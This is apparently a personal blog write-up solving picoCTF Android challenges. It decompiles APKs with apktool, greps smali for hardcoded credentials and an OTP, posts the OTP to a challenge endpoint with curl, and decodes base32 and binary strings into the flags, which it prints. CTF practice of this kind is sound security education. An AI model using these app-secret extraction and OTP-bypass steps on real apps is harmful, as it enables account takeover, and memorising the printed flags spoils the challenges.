    invoke-super {p0, p1}, Landroidx/appcompat/app/AppCompatActivity;->onCreate(Landroid/os/Bundle;)V

    .line 19
    invoke-static {p0}, Landroidx/activity/EdgeToEdge;->enable(Landroidx/activity/ComponentActivity;)V

    .line 20
    sget v0, Lcom/example/picoctfimage/R$layout;->activity_main:I

    invoke-virtual {p0, v0}, Lcom/example/picoctfimage/MainActivity;->setContentView(I)V

    .line 21
    sget v0, Lcom/example/picoctfimage/R$id;->main:I

    invoke-virtual {p0, v0}, Lcom/example/picoctfimage/MainActivity;->findViewById(I)Landroid/view/View;

    move-result-object v0

    new-instance v1, Lcom/example/picoctfimage/MainActivity$ExternalSyntheticLambda0;

    invoke-direct {v1}, Lcom/example/picoctfimage/MainActivity$ExternalSyntheticLambda0;->()V

    invoke-static {v0, v1}, Landroidx/core/view/ViewCompat;->setOnApplyWindowInsetsListener(Landroid/view/View;Landroidx/core/view/OnApplyWindowInsetsListener;)V

    .line 26
    invoke-virtual {p0}, Lcom/example/picoctfimage/MainActivity;->getSupportActionBar()Landroidx/appcompat/app/ActionBar;

    move-result-object v0

    invoke-static {v0}, Ljava/util/Objects;->requireNonNull(Ljava/lang/Object;)Ljava/lang/Object;

    move-result-object v0

    check-cast v0, Landroidx/appcompat/app/ActionBar;

    new-instance v1, Landroid/graphics/drawable/ColorDrawable;

    invoke-virtual {p0}, Lcom/example/picoctfimage/MainActivity;->getResources()Landroid/content/res/Resources;

    move-result-object v2

    sget v3, Lcom/example/picoctfimage/R$color;->yellow:I

    invoke-virtual {v2, v3}, Landroid/content/res/Resources;->getColor(I)I

    move-result v2

    invoke-direct {v1, v2}, Landroid/graphics/drawable/ColorDrawable;->(I)V

    invoke-virtual {v0, v1}, Landroidx/appcompat/app/ActionBar;->setBackgroundDrawable(Landroid/graphics/drawable/Drawable;)V

    .line 27
    return-void
.end method

Theres nothing immediately obvious from MainActivity.smali.

Hmm....

Searching google for "android apk source file folder", we get some information:

For an individual Android app project

  • java or kotlin: This folder contains your application's source code, organized by package name.
  • res: This folder holds all non-code resources, such as images, layouts, and strings.
  • manifests: This folder contains the AndroidManifest.xml file, which describes essential information about your app.

Lets look through res first, as java/kotlin does not exist. There are some images in drawable folders and then what appears to be localizations for various languages, lets check out values/, presumably english-US as others are denoted such as english-CA for Canada, and english-AUR for Australia.

(.venv) zimengx@endeavour ~/S/p/C/M/m/r/values> ls
attrs.xml  bools.xml  colors.xml  dimens.xml  drawables.xml  ids.xml  integers.xml  plurals.xml  public.xml  strings.xml  styles.xml

strings.xml is the most interesting, lets check it out:

<?xml version="1.0" encoding="utf-8"?>

<resources>

<string name="Banana">OBUWG32DKRDHWMLUL53TI43OG5PWQNDSMRPXK3TSGR3DG3BRNY4V65DIGNPW2MDCGFWDGX3DGBSDG7I=</string>

<string name="abc_action_bar_home_description">Navigate home</string>

<string name="abc_action_bar_up_description">Navigate up</string>

<string name="abc_action_menu_overflow_description">More options</string>

<string name="abc_action_mode_done">Done</string>

<string name="abc_activity_chooser_view_see_all">See all</string>

<string name="abc_activitychooserview_choose_application">Choose an app</string>

<string name="abc_capital_off">OFF</string>

<string name="abc_capital_on">ON</string>

<string name="abc_menu_alt_shortcut_label">Alt+</string>

<string name="abc_menu_ctrl_shortcut_label">Ctrl+</string>

<string name="abc_menu_delete_shortcut_label">delete</string>

<string name="abc_menu_enter_shortcut_label">enter</string>

...

YAYY! We get a Bannana string of value OBUWG32DKRDHWMLUL53TI43OG5PWQNDSMRPXK3TSGR3DG3BRNY4V65DIGNPW2MDCGFWDGX3DGBSDG7I. That seems to be b64 encoded.

(.venv) zimengx@endeavour ~/S/p/C/M/m/r/values> echo "OBUWG32DKRDHWMLUL53TI43OG5PWQNDSMRPXK3TSGR3DG3BRNY4V65DIGNPW2MDCGFWDGX3DGBSDG7I" | base64 --decode
8)��/����1�t��pQ5����U}�⏎

Nope...maybe b32?

(.venv) zimengx@endeavour ~/S/p/C/M/m/r/values> echo "OBUWG32DKRDHWMLUL53TI43OG5PWQNDSMRPXK3TSGR3DG3BRNY4V65DIGNPW2MDCGFWDGX3DGBSDG7I" | base32 --decode
picoCTF{1t_w4sn7_h4rd_unr4v3l1n9_th3_m0b1l3_c0d3}

Nice! That was complicated...


Pico Bank

In a bustling city where innovation meets finance, Pico Bank has emerged as a beacon of cutting-edge security. Promising state-of-the-art protection for your assets, the bank claims its mobile application is impervious to all forms of cyber threats. Pico Bank’s tagline, "Security Beyond the Limits," echoes through its high-tech marketing campaigns, assuring users of their utmost safety. As a cybersecurity enthusiast, your mission is to test these bold claims. You’ve been hired by a secretive organization to put Pico Bank’s mobile app through a rigorous security assessment. The flag might be in one or more locations, and additional information reveals that a Pico Bank user’s credentials were leaked in an unusual way. Your task is to crack the username and password based on the following profile information: His name is Alex Johnson with the email johnson@picobank.com, Date of Birth: March 14, 1990, Last Transaction Amount: $345.67, Pet name: tricky, and Favorite Color: Blue. To perform this challenge, you can use any Android emulator. Some examples include Genymotion Android Emulator or Android Studio. Access the Pico Bank Website Pico Bank Website and download the application.

With only 120 solves and FIVE hints, this problem scares me.

We start by installing Android Studio and running the app inside the emulator.

zimengx@endeavour ~/S/p/C/PicoBank> ./android-studio/bin/studio.sh

I didn't expect Android AOSP to be this barebones! We need to login with a username and password. Let's decompile the apk again with apktool.

(.venv) zimengx@endeavour ~/S/p/C/PicoBank [0|1]> java -jar apktool_2.12.1.jar d pico-bank.apk -o pico-bank-out
I: Using Apktool 2.12.1 on pico-bank.apk with 8 threads
I: Baksmaling classes.dex...
I: Loading resource table...
I: Baksmaling classes3.dex...
I: Baksmaling classes2.dex...
I: Decoding file-resources...
I: Loading resource table from file: /home/zimengx/.local/share/apktool/framework/1.apk
I: Decoding values */* XMLs...
I: Decoding AndroidManifest.xml with resources...
I: Copying original files...
I: Copying unknown files...

To find the username, we can try the given information that it might be johnson.

(.venv) zimengx@endeavour ~/S/p/C/P/pico-bank-out [0|SIGINT]> grep "johnson" -R .
./smali_classes3/com/example/picobank/Login$1.smali:    const-string v2, "johnson"

If the username is in this file, conveniently named Login.smali, the password may be too.

Grepping for const-string v2:

(.venv) zimengx@endeavour ~/S/p/C/P/pico-bank-out [0|SIGINT]> grep "const-string v2" smali_classes3/com/example/picobank/Login\$1.smali
    const-string v2, "johnson"
    const-string v2, "tricky1990"

Looks like the password may be tricky1990! What?? OTP?!

The OTP might also be hardcoded into the application, or it could be hit by an API endpoint. Lets try the former first.

In the same folder as Login1.smali,wehaveOTP.smali,OTP1.smali`, we have `OTP.smali`, `OTP1.smali, and so on. Given the user/pass both used information given about johnson, the OTP is likely connected to his last transaction amount: 34567, as it cannot be the text blue.

Grepping for 3456 in these files, we get:

(.venv) zimengx@endeavour ~/S/p/C/P/p/s/c/e/picobank> grep -R "3456" .
(.venv) zimengx@endeavour ~/S/p/C/P/p/s/c/e/picobank [0|1]> grep -R "4567" .

Nope, nothing.

Let's try grepping for const-string v2 in these files.

(.venv) zimengx@endeavour ~/S/p/C/P/p/s/c/e/picobank [0|1]> grep -R "const-string v2" .
./OTP$2.smali:    const-string v2, "success"
./MainActivity.smali:    const-string v2, "Welcome, Johnson"
./Login$1.smali:    const-string v2, "johnson"
./Login$1.smali:    const-string v2, "tricky1990"
./OTP.smali:    const-string v2, "/verify-otp"
./OTP.smali:    const-string v2, "Invalid OTP"
./OTP.smali:    const-string v2, "otp"

We get some things! OTP.smali seems to give us a API Endpoint at /verify-otp. OTP$2.smali seems to have a success message. Maybe the OTP is in there?

    invoke-virtual {p1, v2}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z

    move-result v2

    .line 91
    .local v2, "success":Z

Not much of use, lets check the Invalid OTP string in OTP.smali

.method private verifyOtp(Ljava/lang/String;)V
    .locals 10
    .param p1, "otp"    # Ljava/lang/String;

    .line 67
    const-string v0, "your server url"

    .line 68
    .local v0, "severUrl":Ljava/lang/String;
    new-instance v1, Ljava/lang/StringBuilder;

    invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V

    invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v1

    const-string v2, "/verify-otp"

    invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v1

    invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v1

Before I scrolled down to that section, we find something more interesting! const-string v0, "your server url". This suggests that /verify-otp is indeed an endpoint. This also points that const-string v0 values may also be of use for us.

But first, the OTP digits:

sget v0, Lcom/example/picobank/R$id;->otpDigit1:I

We have a couple lines of these, where it looks like its either

  1. Creating the display boxes for each digit
  2. or Validating each digit, not quite sure

Maybe we're searching in the wrong place?? Lets search everywhere for "OTP".

(.venv) zimengx@endeavour ~/S/p/C/P/pico-bank-out> grep -R "otp"
...
res/values/ids.xml:    
res/values/ids.xml:    
res/values/ids.xml:    
res/values/strings.xml:    9673
smali_classes3/com/example/picobank/OTP$1.smali:    .local v0, "otp":Ljava/lang/String;
smali_classes3/com/example/picobank/OTP.smali:.field private otpDigit1:Landroid/widget/EditText;
smali_classes3/com/example/picobank/OTP.smali:.field private otpDigit2:Landroid/widget/EditText;
smali_classes3/com/example/picobank/OTP.smali:.field private otpDigit3:Landroid/widget/EditText;
smali_classes3/com/example/picobank/OTP.smali:.field private otpDigit4:Landroid/widget/EditText;
smali_classes3/com/example/picobank/OTP.smali:    iget-object v0, p0, Lcom/example/picobank/OTP;->otpDigit1:Landroid/widget/EditText;
smali_classes3/com/example/picobank/OTP.smali:    iget-object v0, p0, Lcom/example/picobank/OTP;->otpDigit2:Landroid/widget/EditText;
smali_classes3/com/example/picobank/OTP.smali:    iget-object v0, p0, Lcom/example/picobank/OTP;->otpDigit3:Landroid/widget/EditText;
smali_classes3/com/example/picobank/OTP.smali:    iget-object v0, p0, Lcom/example/picobank/OTP;->otpDigit4:Landroid/widget/EditText;
smali_classes3/com/example/picobank/OTP.smali:    .param p1, "otp"    # Ljava/lang/String;
smali_classes3/com/example/picobank/OTP.smali:    const-string v2, "/verify-otp"
smali_classes3/com/example/picobank/OTP.smali:    sget v3, Lcom/example/picobank/R$string;->otp_value:I
smali_classes3/com/example/picobank/OTP.smali:    const-string v2, "otp"
smali_classes3/com/example/picobank/OTP.smali:    sget v0, Lcom/example/picobank/R$layout;->activity_otp:I
...

Haha, there we go! name="otp_value">9673</string> We get a hint: "Have you analyzed the server's responses when handling OTP requests"

We know the endpoint is at /verify-otp, so lets try sending a POST. We assume the payload is just titled "otp".

(.venv) zimengx@endeavour ~/S/p/C/PicoBank> curl -X POST "http://saffron-estate.picoctf.net:58641/verify-otp" \
                                                -H "User-Agent: curl/8.4.0" \
                                                -H "Accept: application/json" \
                                                -H "Content-Type: application/json" \
                                                --data '{"otp": "9673"}'
{"success":true,"message":"OTP verified successfully","flag":"s3cur3d_m0b1l3_l0g1n_1ff8ddb7}","hint":"The other part of the flag is hidden in the app"}⏎

Yayy!!!

We are told:

The other part of the flag is hidden in the app

Looking at the app, the transactions immediately stand out. They are 7-8 length sequences of 1s and 0s, The front 1 is likely not needed and a red herring as ASCII only makes use of 7 bits (with the first bit indicating UTF8 encoding as was later appended to the ASCII standard, just happened to read about the ASCII & UTF-8 standard a few days ago :)). If we take these strings and decode it, we might get the flag.

Since we can't highlight and copy the text, copying it down by hand is too slow. Lets try to see if we can find the values in the code.

(.venv) zimengx@endeavour ~/S/p/C/P/pico-bank-out> grep -R "1110000"
smali_classes3/com/example/picobank/MainActivity.smali:    const-string v7, "$ 1110000"

We see that the transactions are likely all in const-string v7 in MainActivity.smali

Looking at MainActivity.smali, we see that the transactions are in a mix of const-string v6 and const-string v7, and some strings are not present because they are redundant/repeated again. For sake of time, I won't try to understand the variable sachems, but this already makes it dramatically easier for us to copy and paste the codes in sequence.

n = """1110000

1101001

1100011

1101111

1000011

1010100

1000110

1111011

110001

1011111

1101100

110001

110011

1100100

1011111

110100

1100010

110000

1110101

1110100

1011111

1100010

110011

110001

1101110

1100111

1011111

"""



for i in n.split("\n"):

if len(i) != 8:

i = "0" + i

print(chr(int(i,2)), end="")
(.venv) zimengx@endeavour ~/S/p/C/PicoBank> python3 secondPart.py
picoCTF{1_l13d_4b0ut_b31ng_⏎

Solved!!

Final Rank

This places me at #115 on the global leader-board and #99 on the HS/College one. Not sure how its ranked. Likely by time of achieving that score rather than time from first problem solve to last problem. I will keep an eye out for these going forward so I can solve them as soon as they come out next time. Fun experience overall. 10/10 recommend.

002352 visitors